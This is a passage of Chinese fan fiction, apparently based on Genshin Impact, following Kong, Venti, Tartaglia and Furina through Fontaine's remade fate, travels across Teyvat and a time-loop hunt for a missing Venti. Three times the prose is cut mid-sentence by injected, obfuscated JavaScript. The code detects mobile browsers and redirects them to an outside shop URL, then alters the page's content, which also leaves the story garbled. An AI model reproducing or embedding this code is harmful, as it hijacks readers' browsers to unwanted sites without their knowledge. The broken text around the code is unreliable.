达达利亚谴责地看向温迪:“你刚才说不是在模仿枫丹的什么反派腔调?” “我的问题。”温迪举起双手,他果断走到玩家身边就趴玩家腿上了,可怜兮兮抬手双手合十,“抱歉呀,空,不是故意说让人误会的话吓你的,枫丹的新世界不是以任何人的牺牲或是献身深渊作为代价,我向你保证,格式塔不是你记忆里的激进组织,就像是我的高塔……” 风精灵的声音软下:“永远不会是以人类枯骨堆砌的通天教堂。” “……”达达利亚看向沉思的芙卡洛斯和那维莱特,又看向枫丹格式塔的主人雷内。 “你这话真奇怪。”玩家说道,“刚才是我想吃你。” “灵魂本就是最可口的食物。”温迪笑眯眯地表示自己并不在意,“你只是死前自救。就像是上一次在芬德尼尔那样。是我该向你道歉,又让你陷入到了那样的困境之中。” 温迪仰着头与玩家对视,玩家也只是垂眸盯着他,片刻,温迪起身捏了捏玩家的脸:“也为我用时间力量影响了枫丹道歉。对知晓了原来枫丹命运的你我来说,现在枫丹听上去确实很可怕。” 端着蛋糕过来的芙宁娜不客气地挤走了温迪:“芙卡洛斯,枫丹什么时候同意这个蒙德人加入我们的户籍了?” 于是芙卡洛斯总算夺回话语权,得以和玩家面对面交流枫丹的近况。 枫丹对顶尖学者开放解决预言的课题,让芙宁娜作为神与人之间的桥梁,引导天空相信枫丹要孤注一掷、自取灭亡。 神罚用来积蓄力量摧毁神座,芙卡洛斯或是在人造躯壳中睁开双目、或是在浊水中重获新生,水之权柄会归还龙王,让那维莱特有改写预言的特权。 那维莱特会赦免枫丹人原罪的。 因为他是给枫丹提供龙族科技的共犯,认可现有枫丹人成为人类的那一刻,也能彻底抹去这些人曾经身为纯水精灵的历史。这种利益捆绑的合作方式,比感化粗暴,可取之处却不少。 那维莱特仍会成为枫丹的最高审判长,芙卡洛斯还有机会以纯水精灵的身份与他共事。她会保留水仙十字院作为幸存纯水精灵的聚会之地,平衡枫丹境内非人与人的生存环境。 “唯一让我苦恼的,是这孩子的命运。”芙卡洛斯牵起了身侧活泼少女的手,“我愧对于她。” 没有选择的时候,芙卡洛斯让芙宁娜以人类之躯扮演神明五百年;预见未来的时候,芙卡洛斯还必须让芙宁娜扮演与顶尖学者的其乐融融。 芙卡洛斯能保证神罚之后芙宁娜安然无恙,芙宁娜无论是在芙卡洛斯的纯水精灵族群还是在那维莱特的枫丹廷,都能获得顶尖的待遇。 “但我想去枫丹外面看看。”芙宁娜笑盈盈地凑到了玩家面前,“勇者的队伍将迎来一位真正的淑女,现在,你们可以尽情欢呼了!” 11.011 玩家看向达达利亚。 “我可以教你使用元素。”芙宁娜笑眯眯地看向达达利亚。 玩家看向温迪。 “最棒的吟游诗人和最棒的演员一定有数不清的话题。”芙宁娜笑眯眯地看向温迪。 玩家低头看向自己。 “我给的糖好吃吗?”芙宁娜笑眯眯地把小蛋糕展示在玩家面前,“再试试我亲手做的这个小蛋糕?” 玩家接过,拿勺子开试,表示既然芙宁娜自己都这么说了,玩家自然没问题。 芙卡洛斯看上去也很支持。 意料之外。玩家咬着蛋糕。要知道芙宁娜离开枫丹,就真的只是普通的人类少女。芙卡洛斯竟然放心芙宁娜跟着多灾多难的他们冒险。 “雷内,等会儿记得回格式塔看看卡特和雅各布。空成功抑制了他们体内的深渊活性,这对于你研究世界式绝对有帮助吧?”芙宁娜游刃有余地和雷内搭话,“啊,他盯着这边?太好了,你不是一直想跟他认识吗?空看上去也对你刮目相看噢!” 当玩家刚才什么都没说。 玩家避开雷内的视线,询问达达利亚刚才雷内在跟他探讨什么。 “问你还有坎瑞亚的事情。”达达利亚坦诚地说之前懒得答复所以一直在吃院长给的蛋糕,结果玩家来的时候也满嘴奶油不好打招呼。 “我和坎瑞亚。”玩家点点头,对上雷内视线,剧情里的大师尚且年轻,看在枫丹官方对他态度友好的份上,玩家也迎了上去,跟他主动攀谈。 卡特和雅各布是引入深渊变量然后异化成魔物的两个案例。卡特变成的还是丘丘人,从单纯的种族变化而论,他的情况和部分坎瑞亚人相似。雷内有在研究如何解救卡特的灵魂,那么类似的课题同样能受益坎瑞亚。 戴因之前的举动吓到玩家,却也让玩家会不间断记起坎瑞亚,在这种情况下跟雷内提起有没有接触坎瑞亚的想法。 雷内温和表示他很乐意尝试所有的新机会。以及在枫丹剧场开演前,他还私底下和玩家提过须弥花海。 雷内去过厄歌莉娅的葬身之地。他拿到了一些数据。并且可以确信此时玩家身上有类似的力量。 “魔神也在你的食谱中。”雷内也是亲眼见证玩家将温迪一口吞的目击证人,“现任水神知道你对初代水神做的事情吗?” 玩家盯着雷内。 雷内平静微笑:“我想应该是不知道的。不过芙宁娜女士应当是看出来了。她很擅长收集这些有趣的情报。她提供的情报即使不能作为理论支撑,也足够我提出概念和设想。” 玩家是一个可以接纳魔神权柄和汲取深渊力量的存在。雷内说玩家也是龙王转世,但根据已有文献和他推算出来的公式,这一代龙王应该只有水龙才是人形,玩家本人还承认自己不属于这个世界。 “如果我能从枫丹的预言中幸存,真希望能和你再会。”雷内从玩家的视线中消失,但他的话让玩家陷入了若有所思。 芙宁娜从门后探出脑袋,轻笑着调侃他们聊得比她想象得要更投机。 玩家从沉思中醒过来:“很投机。以及,雷内说你知道……” 芙宁娜拿马卡龙堵住了玩家的嘴:“优秀的绅士会尊重淑女的秘密。” 玩家咀嚼。 芙宁娜将最后一部分甜点推进了玩家口中,她的食指贴近玩家紧闭的嘴唇,拉近距离时,戏中人双目含笑。 “请把初代水神和你的故事理解成我亲爱的姐姐和二代水龙的权利更迭,心照不宣才是最好的解决方式。” 玩家乖巧点头。 总之,眼前的这位芙宁娜女士,加入他们的冒险队伍绝对是游刃有余。 玩家受邀成为观众。 十年的准备期让面目全非的剧本变得更加跌宕起伏,玩家被温迪安排在了高空的观影席,见证封印原始胎海的闸门大开、汹涌的潮水极快淹没人类城池。 格式塔轰然倒塌,长柱延伸出通天的截断长道,科学院隔绝原始胎海与人类的水立方挣扎着浮空,最终却化作不知成分的绵绵细雨,由王座上的水神见证子民无声的牺牲。 芙卡洛斯仰起头。 于是神位更迭,水龙掌权,落雨逆流,海底驶出无名的方舟,洗去异族记忆的人类浮出水面,甲板上明媚张扬的少女意气风发地指挥救援,直至枫丹如旧神所愿顺理成章地开启新篇章。 阿兰制造的荒芒机器在救援行动中起到了重要作用,一切结束后他也没有久待,说是要回去安排机器人继续救灾,以及照顾被短暂神降的木偶。 雷内维持着纯水精灵的非人姿态,他说那些变成新人类的同族不会再记得纯水精灵的过去,而他会一直保留这些远古的记忆,作为芙卡洛斯维系现存纯水精灵的重要枢纽。 温迪将厄里那斯的灵魂放归大海,带回了在这次灾难中诞生于厄里那斯血肉的新异族美露莘,并且懒洋洋打趣那维莱特可别和未来一样偏心这种可爱的福瑞而对真正的龙裔不假辞色。 那维莱特忙着给刚诞生的美露莘安置新年,也懒得对温迪的这句调侃多评价什么,临走前甚至没有收回赠予达达利亚的拟态外置魔力器官神之眼。 是的,那维莱特给达达利亚送了一枚神之眼。因为枫丹计划的序幕就是封印之地的原始胎海涌入枫丹现有水域,所有人都懒得等封印自然松动,而主动开闸放水的人选又不能是水神水龙以及任何一个会溶解在原始胎海里面的枫丹人。 达达利亚就很合适。他没有枫丹的纯水精灵血统。对疑似栖息在原始胎海里的吞天之鲸也有莫名吸引力。就是刚开始并不乐意接受那维莱特给予的拟态神之眼,最后又收下了。 原作的神之眼是本土的智慧生命用强烈愿望与天空岛做交易,换取驱使世界元素力量的能力。据说愿望到达一定程度,就可成神。但大多数神之眼持有者对愿望的理解只是让他们获得神之眼。 像是龙王、魔神、纯水精灵、风精灵这些不需要神之眼就能驱使元素力量的智慧生命在提瓦特也并不少见,不过要像是天空岛那样给他人发放流量使用权,还是很有难度的。 那维莱特给予的神之眼只能说是限定枫丹地区的一次性水元素体验道具。当然即使他效果有限,对于如今尚未获得神之眼的达达利亚而言也是难得的体验。 达达利亚刚开始拒绝的原因是拟态神之眼驱使元素存在的晦涩感甚至导致他战斗力下降……但是把那个拟态神之眼作为以防万一的保障,另说。 总之达达利亚成功完成了这份外包工作,他在玩家问起使用观感的时候抬手在掌心构筑了吞天之鲸的水形幻影。 “很新奇的力量使用体验,可惜上限极低,我在使用过程中还能感受到水元素对我的排斥,毕竟那维莱特训练我的时候这些水都是我的敌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17035139|194078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。” 达达利亚将吞天之鲸变换成长枪,又将长枪拟态成了水弓,最终抬手将一切抹除,把手放下。 “我会尝试用自己的方式操控元素力。”达达利亚说他最近还会跟芙宁娜尝试枫丹特有的荒芒力量。 “你一定会获得神之眼的。”回忆着原作剧情的玩家坚定不移地说道。而且还不止神之眼。 “无所谓啦,人类也不一定要执着于神之眼。”芙宁娜悠哉悠哉地摆手,招呼上温迪说是要在临走前再采购些物资。 然后逛到一半她就把看到什么都想买的玩家以及热情给玩家推销枫丹酒水的温迪给扔出了队伍。 芙宁娜罗列好清单,跟达达利亚探讨他们目前的摩拉预算、可携带物资的最大单位以及后续补给计划,并规范了玩家和温迪的日常摄入。 “我都要学会按时戒断小蛋糕。”芙宁娜指指点点,“空,无节制饮食只会让你越来越难控制自己的食欲;温迪,很高兴你以一个蒙德人的身份拓宽了枫丹酒水的客户渠道,但要让那维莱特知道你不仅哄骗他喝醉还让空尝了那么多酒……” “我带空去逛逛裁缝店,他之前还要给我推荐新衣服呢。”温迪拉着玩家麻溜地跑开了。 玩家来到新的街道,拍拍温迪胳膊:“我们是得给未成年做榜样。” 芙宁娜目前不到十岁,达达利亚有透露他之前没活过二十,而温迪做过不止千年的风神,玩家所经历的岁月也让他绝无可能是一个孩子,所以玩家对他们队里未成年管家的现象表示遗憾。 玩家顺便塞了一瓶酒水压低声音说这是一个热情的店家送他的,他们可以趁着芙宁娜和达达利亚不在再喝最后一瓶。 “……这是乐斯。”温迪把会让人上瘾的违禁致幻药水从玩家手里夺过来,一瞬间就共情了晚辈的恨铁不成钢,语气都沧桑不少,“不要乱喝陌生人给的饮料啊!” 玩家愣了下。 “那么该通知执律庭和特训队处理这些发国难财的黑商……”玩家也没想到有人会给玩家捎带这种赠品。 上次在蒙德吃到烂水果也是。其实他并没有从任何人身上感知到恶意。 玩家跟着温迪把乐斯作为证物提供给枫丹律政机构调查,之后总算能顺利履行承诺给风精灵添上斗篷外衣。 在给达达利亚和芙宁娜也挑了礼物之后,玩家意识到他在枫丹这里还有很多人可以送礼,对吃食之外的礼物有了新的购物兴趣。 这对于温迪是好事。对于温迪的钱包来说就不是了。 “账单记在沫芒宫!” 然而低调的玩家和前风神并不能说服没见过他们的店家将这笔账记给最高审判长那维莱特,最终还是路过的好心人帮忙承担了这笔消费。 路过的好心人是雷电真。她的身边还跟着一位与她容貌酷似的斗笠少年。 “这是国崩,影的孩子,他偶尔会来枫丹看我。”雷电真说她的妹妹以温迪提供的银白古树枝条作为材料、以坎瑞亚的技术为理论,制造了玩家眼前的人偶,“我和影在对这孩子的态度上有些分歧,更多的我也不便多说,就是正好在你们走之前,带他来和你们见见。” “初次见面,两位前辈。”容貌昳丽的无心人偶表情温和,本人的气场是更偏向雷电真的平和宁静,他弯起眼睛,彬彬有礼地向玩家和温迪问好,“我是稻妻幕府将军的长子,雷电国崩。” 12.012 玩家心情复杂。 游戏剧情的主线要在约五百年后正式开启,那时尘世七国稳定执政,偶有深渊、坎瑞亚、愚人众不时秀存在感。 愚人众势力在前期最具有反派格调。因为出场的执行官基本上各个都是霸凌级别的美貌。比如十一席公子,比如第七席木偶,比如第六席散兵。 玩家现在都重新和他们认识了。 公子就是达达利亚。木偶是阿兰制造的智能机械生命,在玩家重走的枫丹剧情里芙卡洛斯神降于她从而成功假死。 至于散兵,嗯,就是现在玩家眼前的雷电国崩。 “国崩是窃国者的意思。”玩家礼貌询问,“这个名字又加上统治者的姓氏,是不是太讽刺了?” 国崩轻轻地哦了一声。 “名字是我自己取的,而影在我取完这个名字之后就直接这么叫我了。”国崩语气平静,“这个名字不好听,但比起我妹妹雷电将军这个名字,至少还像人。” 他身边的雷电真咳嗽一声。 国崩脸上保持完美微笑:“真也是这么认为的。我也跟影说好了,等我坐了她现在的位置,再把我和我妹妹的名字都给改了。前辈有什么好的建议吗?” 玩家愣了下,本能思考。 然后默默摇头:“我也不擅长取名字。要不你继位之后向全世界征集吧?” 这次轮到国崩愣了。 回过神来,他忍不住笑出声,看向玩家的目光也变得有温度了。 “真稀奇,你比我想象得更有趣。”他弯起眼睛,“那么我成神之日,必定邀你同乐。” “多谢。”玩家对此表达了期待,不过说完之后他后知后觉意识到前任雷神雷电真也在场,而且国崩好像是要公开篡夺稻妻的神位。 “并不是……这孩子目前和将军公平竞争。”雷电真的语气都有些无奈,“我更推荐国崩和将军像是之前的我和影那样一文一武共治稻妻,但无论是影,还是他们两位继承人,都不乐意。” “嚯。”玩家说道。 “我对坐上那个位置可没多大兴趣,只是当不成神就要被销毁这种事让我不得不……好,我不说了。”国崩举起双手,重新退到了雷电真身后。 玩家期间一直用很稀奇的目光看着这位原作中因为被抛弃所以产生成神执念走上反派道路的执行官。 这个世界因为雷电真的存活,眼前之人的命运一开始就改变了。 以至于玩家开始期待未来的稻妻……玩家后知后觉开始考虑自己当初为什么急着通过吞星之鲸离开。 “是想着只有借助吞星之鲸才能回到我们过来的时空吧。”温迪回答,“其实没有任何理论依据,只是直觉而已。” “只是直觉吗?”已经换上冬装准备前往千年前提瓦特的芙宁娜才得知这一不靠谱的真相,“你们就不怕再次掉入一个更加回不来的地方?” “他这种家伙的直觉一般都是很准的啦。”温迪笑道,“不过既然已经拖了十年,再晚点接触吞星之鲸也没关系,我不着急回去,你们呢?” 玩家看着他们。 于是他们出发周游列国。 玩家前往至冬,避开本土的妖精与人类,于高处瞻仰冰之女皇的风姿。 他拜访了未来达达利亚会出生的村落,路过诺德卡莱边境,偶遇了刚诞生不久的月之少女库塔尔。芙宁娜和库塔尔分享了当神快乐还是当人快乐的一己之见。 原作里库塔尔是愚人众执行官第三席,代号少女。 玩家前往蒙德,他被一名巡逻的骑士当成深渊魔物攻击,达达利亚和他打了一架,又和骑士的导师鲁斯坦打了一架。 误会解除后,玩家受邀参加了一年一度的风花节,见证鲁斯坦向他的恋人罗莎琳告白,两人一同为风神像献上塞西莉娅花束。 原作里罗莎琳是愚人众执行官第八席,代号女士。 玩家前往璃月,入目所及的繁华让他惊叹,他还去打卡了璃月岩神封印岩龙的古树,偶遇了夜叉。 玩家把战斗中的水夜叉、岩夜叉以及凑热闹的达达利亚全打了一遍,然后穿上新衣服被介绍给其他仙人认识。岩神忙于处理璃月港的水产泛滥,没有出面。 玩家前往稻妻,被雷电影和雷电将军带上天守阁参观,对面两位都不善言辞,但玩家已经能很熟练地帮她们编发。 离开时,温迪和芙宁娜挑走了几本轻小说,达达利亚从野外回来,身上雷元素噼里啪啦,小嘴还叭叭说稻妻的水元素用起来真带劲。 玩家前往须弥,此时新生的智慧之神纳西妲尚且年幼,懵懂地坐在净善宫,被人们无上限地期待,玩家把她带出来走遍雨林沙漠,确保她不会走上原作中被囚禁的神的命运,才把她送回。 达达利亚在外出打猎过程中偶遇反主,玩家没能见到反主,但吃到了反主亲手做的菜,惊为天人、念念不忘,可惜命运阻止他们见面。反主似乎知道什么,所以主动避开了玩家。 达达利亚还提到反主的身边跟着一位佩戴面具的坎瑞亚人。 玩家起初以为是戴因,后来听达达利亚形容那是一位长者,意识到反主身边的更可能是坎瑞亚宫廷法师,剧情里第一位加入至冬女皇阵营的执行官。 原作里这位执行官被称为皮耶罗,代号丑角,他不在十一位执行官的行列里,是身份更特殊的统括官。 玩家前往纳塔,这里的深渊最为猖獗,时至今日仍是全民皆兵,大大小小战役不断。达达利亚是打爽了,因为每到一个部落,玩家就要作为区域首领被围攻一次,现任火神和前任火神的战友菲耶蒂娜都对玩家动过手。 动手的还有之前留在纳塔和烟谜主部族一同抗击深渊的坎瑞亚天柱骑士瑟雷恩。 原作里瑟雷恩是愚人众执行官第一席,代号队长。 他停手最快,快到达达利亚刚把手按在武器上就无法锁定杀气了,因为瑟雷恩看清了玩家的脸,理智确定了玩家的身份之后,和玩家交换了坎瑞亚的情报。 戴因有提过,地脉记忆可以重塑坎瑞亚,他认为玩家比他更适合作为拾枝者,但其实瑟雷恩或许比玩家还适合。 瑟雷恩是坎瑞亚人,他的心脏还被坎瑞亚技术改造成了可以将地脉记忆转为知识的人工心脏。 玩家思考片刻,把戴因哥哥给戴因、戴因又给玩家的戒指送给了瑟雷恩。 如今瑟雷恩的心脏只作为容器存在,保留着故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17048058|194078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友的灵魂与记忆,而戒指不仅能削弱瑟雷恩身上的不死诅咒,更能稳定那些阵亡的将士们的灵魂状况。 得到戒指的瑟雷恩听从玩家的建议,离开纳塔去寻找戴因。 玩家也把坎瑞亚作为自己在这个提瓦特的最后一战,跟着瑟雷恩一起出发。 但是坎瑞亚的覆灭七神功不可没,温迪和芙宁娜深入坎瑞亚阵营没有性命之忧,却着实尴尬。 所以小队兵分两路,温迪和芙宁娜去须弥再看看小草神,而玩家、达达利亚和瑟雷恩成功与戴因汇合。 上次的临别略显尴尬,但戴因承认他之前受到深渊影响对玩家过分亲近信赖,也为他给玩家造成不必要的心理压力而表示歉意,玩家反而心平气和了。 玩家铺开地图,给戴因标注了分散到尘世七国的坎瑞亚遗民的位置,他不知道这个世界的戴因会选择怎样一条新路,但无论哪条路,玩家都表示祝福与支持。 ——这句话同样适用于他游历提瓦特期间接触到的所有人。尤其是那些被改变命运的执行官。玩家期待他们的新生。 戴因对玩家的回应没有多说什么,只是在玩家生活在坎瑞亚驻地的这段期间,尽量给玩家提供最好的饮食待遇。 玩家吃得很爽。临别前还尝试收割了下坎瑞亚人身上的深渊污秽。达达利亚和天天陪他切磋的瑟雷恩告别,和偶尔陪他切磋的戴因告别,跟上了玩家。 达达利亚递过来玩家的新剑。 就是那把达达利亚在蒙德送给玩家的剑。他们游历了很多国家,玩家也进行了不少战斗,但用到这把剑的情况很少。但这不妨碍达达利亚也一路给这把剑升级。 如今递过来的剑经由坎瑞亚科技赋能,金光闪闪,主要是可以伸缩变形,方便玩家捆扎越来越长的头发。 “很实用。”玩家点评。 “……意外的很适配你呀。”重逢之后的温迪第一时间给出了称赞,想给玩家扎辫子,也想让玩家帮他扎辫子。 “已经完全不像剑了。”芙宁娜同样欣赏,却忍不住吐槽,“所以为什么不干脆在你脑袋上绕个圈当王冠?” 玩家啊了一声。 玩家:“那样攻击就得头槌,现在的话——”玩家一甩头,长辫子犹如鞭子啪地一声拍在树上,干下了树上的泡泡橘。 “很顺手。”玩家开始分泡泡橘。 “我之后再考虑调整它的韧性。”达达利亚顺手帮玩家剥了橘子。 “嘶……”温迪摸着下巴,陷入了若有所思的状态,“原来如此,这长辫子是龙尾啊……” “真好玩。”芙宁娜也陷入沉思,她摸摸自己的头发,思考着自己留长发可以不可以解锁这个玩法。 汇合的一行人在枫丹再次和往昔的朋友告别,达达利亚站在水边,已经能熟练使用的水元素召唤出吞星之鲸,开拓出一条未知的隧道。 温迪说他会尝试用时空之力定位,尽可能借助不同时间节点的吞星之鲸锁定他们来时的位置。 玩家投身于巨鲸。 然后时空扭曲的刹那,他瞧见一轮血月升起,伴随着无数紫黑触手逆流而上,有人踏空而来,冰冷血眸协同锋利的死神镰刀,直取玩家首级。 13.013 袭击者是坎瑞亚的罪人之一猎月人。 不知道他怎么出现,不知道他为何出现,总之玩家回过神来,身体很重,脑子很轻,仿佛精气被抽走,分外厌倦。 玩家眼皮打架。 他想到被瓜分力量的反主,纳闷自己怎么也有这罪要受,而且这次袭击比之前的高塔孤王还要突然,玩家都没来得及临死反扑。 玩家瞧见跌入血月的芙宁娜,瞧见被掀飞又冲向猎月人的达达利亚,瞧见朝他扑来的温迪。 不要那么紧张。玩家想着。他总能复活。他总会和他们再遇见。 玩家失去了意识。 玩家恢复了意识。 他看到近在咫尺的高塔孤王迭卡拉庇安的脸,感知到体内的力量如泄洪那样尽数释放,然后再一次失去了意识。 玩家是被饿醒的。 他闻到一股香味,于是身体先眼皮一步动了起来,有人扶他坐下,有人给他披上毯子,有人给他塞了烤肉,玩家在篝火的温暖中睁开眼,缓缓抬头,看见了坐在对面的芙宁娜,扭头,看见了达达利亚。 玩家陷入思考。 玩家思考失败,环顾一圈,询问:“温迪呢?” 他有很多问题想问。不过此时,他只好奇为什么第一次醒来后就看见的温迪现在不在这里。 “说来话长……”芙宁娜托着腮帮,悠悠叹气,“总之我们得把他找回来。” “理所应当。”玩家点头,“所以现在是什么情况?” 芙宁娜一抬手,把解释权让给了达达利亚,说她在猎月人出现没多久之后便跌入一轮血月倒影,她好不容易从那里出来,也是刚刚来到这个时空,具体得问达达利亚。 “我找到你们的时候,他背着你,浑身上下都是血,边走边滴血,温迪也不在,那场面太恐怖了……” 芙宁娜嘟囔。玩家抬头,看了看身边面容干净的达达利亚,又低头看了看已经被换上干净衣服的自己。很显然这都是芙宁娜的功劳。 “你被猎月人杀死,并且被剥夺了复活的能力。”达达利亚垂下眼,语气和平常没什么两样,很冷静地陈述事实,“温迪说,你无法在未来醒来,所以他帮助我们回到这个时间节点,你能活下来,他也要靠你获得时空之力,完成时间闭环。” 玩家拧眉。 “时间闭环?”玩家重复了这一名词,“所以我们来到了温迪的上一条时间线?他获得时空之力是我们促成的?” 玩家站起来。 “去千风神殿。”玩家记得温迪就是在那里邂逅了掌管时间的时之执政伊斯塔露,他想即刻出发,但很快意识到如果温迪已经出现在那里,就不需要他们促成。 “他不在那里。”芙宁娜坐在枯木上用树枝挑逗篝火,“我就降落在千风神殿,然后一路找过来的。他不在高塔,至于芬德尼尔有没有他的线索……” 芙宁娜看向达达利亚。 达达利亚摇头:“我只找到空的尸体——”他微微仰头看着站着的玩家:“我也经历过这个时间线,在我的记忆里,温迪至少失踪了五年。” “他平常很少提起过去。”玩家抿唇,“五年。所以命运限定我们五年才找到他。还要亲眼看着他独自一人回到面目全非的蒙德,在高塔中被困千年。” 玩家不高兴。 他之前死就死了,死前不会让敌人好过,死后不会牵累任何人,怎么还能有猎月人关闭他复活权限、让温迪来买单的剧情?这种命运让人恶心。 “那就再重塑命运。”芙宁娜抽出尖端烧红的树枝,在雪地上划出笔画,“现在命运已经被改变了,不是吗?” 玩家看着芙宁娜绘制出一个墓碑,又绘制出两个叠叠乐的圆圈。 玩家看向了芬德尼尔之巅。 对哦,命运已经被改变了,上一条时间线的亲历者温迪和达达利亚都说玩家死了,但是玩家现在就在这个时间线,玩家活得好好的,达达利亚也不可能死在协助伊蒙洛卡复仇的路上。 如今对命运的担忧,就像是预言未解决前芙卡洛斯的忐忑不安。 但,预言可以是断章取义,命运可以是乔装打包。 “生命如同戏剧,任导演摆布。”芙宁娜把树枝丢进燃烧的篝火,换了一个更加放松的坐姿,对玩家做出邀请落座的手势,“来吧,吃好喝好睡好,然后就到我们装扮命运的时候了!” 玩家重新坐了下来。 烤肉吃不出味道。串鱼的叉子被玩家无意识啃掉。 “从哪里开始搜集情报?”玩家直白承认他坐不住了。 他的旅途不需要有因他而起的牺牲。如果他的存在导致剧情角色经历原著不具备的苦难,那么玩家来这里的意义何在。 或许命运就需要玩家这么做。但帮助命运伤害他人对玩家毫无好处。被天空既定的命运,也未必就是完全正确。 “路上也可以休息。”玩家在雪地里画圈圈,脑子里回忆着原作剧情,以及他遇见的这个温迪的故事,“回芬德尼尔,那里的战斗不至于杀死他。他会被吹飞,但单纯的空间位移,迭卡拉庇安不可能找不到他。我需要知道他失踪的原因。” “勇者大人怎么看?”芙宁娜优雅地把双手叠放在膝上,看向同样过于冷静镇定的达达利亚。 玩家不明所以。 玩家不理解为什么他们都不着急。 温迪救了他。玩家最有愧,所以情绪焦躁。温迪和芙宁娜、和达达利亚没有直接利益关系,因玩家而聚,他们态度更理智,玩家也理解。 但眼前两位都不是会对朋友的困境视而不见置身事外之人。他们等着玩家醒来去找到温迪,玩家已经醒了,没必要再继续浪费时间了。 玩家仰头看着达达利亚。 “哈哈,最该休息的人都做好战斗的准备了,我们当然是立刻出发啊。”达达利亚也第一时间回应了玩家的期待,他起身几步伸手把蹲坐的玩家拉起来,“不过我还是得重申一次。现在的我不是勇者。空才是。” 玩家的思维一滞。 啊,这句话是在说…… “把剑借我?”达达利亚笑眯眯地点了点自己的太阳穴,“虽然跟你要之前送你的武器很丢脸,但是,空,我真希望我能早日成为你期望中的勇者,最好在这次救援行动中直接斩下猎月人、高塔孤王和时之魔神的头颅送给你。” 玩家:“……” 玩家思考中断。 玩家摸了摸缠绕在自己辫子上的金剑,看了看刚才达达利亚刚才打磨半天的蒙德旧剑。 玩家的记忆、力量甚至随身饰品都被保留,一同带回了这个时代,但是达达利亚好像只带回来了记忆。 所以达达利亚只是在担心他尚未成长帮不上玩家的忙。 “也可以是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17053210|194078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗示空你一直给阿贾克斯戴高帽让他一个凡人背负那么多不属于他的责任啦。” “……我会反省的。”玩家默默低头,达达利亚得跑得比坎瑞亚还要快才能应付玩家主动包揽的这些麻烦。 “你好吵,芙宁娜。”达达利亚背着玩家的剑,眼神不善地盯着最前面的同类,“我对那些强敌,就像你对枫丹预言。你不要挑拨离间。” 刚开始打不败,但堂堂正正击败他们的那一刻,内心会是前所未有的满足。 “你真没礼貌,不要用我的时候一口一个女士,用不到我的时候就一口一个芙宁娜。”芙宁娜轻哼,“而且空自己也误解了,我这样说开了,他也不会自己瞎想——你就是嗜好冲突的战斗狂,麻烦越多,你越兴奋,嫌弃的只会是这个阶段不够强的自己。” 达达利亚秒鼓掌,瞬间换了一副嘴脸积极捧场。 芙宁娜得意翘起了呆毛。 玩家看了看芙宁娜,又看了看达达利亚,张嘴。 “很快我们就能抵达芬德尼尔。”坐在风史莱姆上面赶路的芙宁娜翻看伊蒙洛卡提供的地形图,“到时候我会带空重点探查这上面标注的地脉异常标记地点。” “如果这些地方还是找不到有用的线索,我们就回高塔。”达达利亚看向大雪之外,“我已经告诉高塔孤王,时之执政绑走了他儿子。芬德尼尔招致神罚也是时之执政引导的。那样的人类王国不该存在于这个魔神的时代,时之执政把芬德尼尔缝合在了这个时间,要实现她期待的命运。如果迭卡拉庇安放任不管,就等着命运安排温迪弑父吧。” 玩家闭上嘴巴。 玩家发现自己昏迷期间芙宁娜和达达利亚已经行动起来了。 他们已经搜遍芬德尼尔,知道有哪些地方需要带上玩家探索。 他们已经回过高塔,和迭卡拉庇安完成谈判,让蒙德旧神成为他们的助力。 “还有奔狼领的狼王。”达达利亚提及了蒙德这个时期存在的另一位魔神,那是蒙德之后的四风守护之一北风狼王安德留斯,达达利亚去从他那里得到了芬德尼尔与时间的线索,“他不亲近人类,和迭卡拉庇安也是敌人。但他承诺会在必要时为我们提供帮助。” “魔神的本质终归还是爱人嘛。”芙宁娜点评,“而且那位狼王对孩子很宽容,正好,我只有十岁,达达利亚未成年,温迪在这个时间点,无论用风精灵的标准还是魔神的标准,都是婴幼儿,所以和他对话会比面对高塔的魔神更轻松一点。” 芙宁娜语气赞扬:“当然,我谈判的功劳不小,阿贾克斯的功劳更大。毕竟我可通过不了狼王那野蛮的试炼,也不敢直呼「龙卷的魔神」的名字当面挑衅他还活着从高塔出来了。” “那是你有礼貌,芙宁娜女士。”达达利亚冲着芙宁娜笑,“有关礼仪这方面,我需要还有很多地方要向你学习。” 芙宁娜摆手:“教不会教不会——” “原来迭卡拉庇安是龙卷的魔神啊。”玩家说道,“我一直以为他的称谓就是高塔孤王。原来这是黑称。那他在我刚到蒙德的时候就该跟我翻脸了。” 芙宁娜和达达利亚齐齐闭嘴,在下一秒看向了若有所思的玩家。 “迭卡拉庇安有问题。”玩家不由自主加快了赶路的速度,“——我看到地脉淤积口了。”他向下俯冲:“我要找到温迪,让他告诉我这个世界不是玩笑。” 14.014 是的。 玩家有那么一瞬间在怀疑迭卡拉庇安就是巴巴托斯。 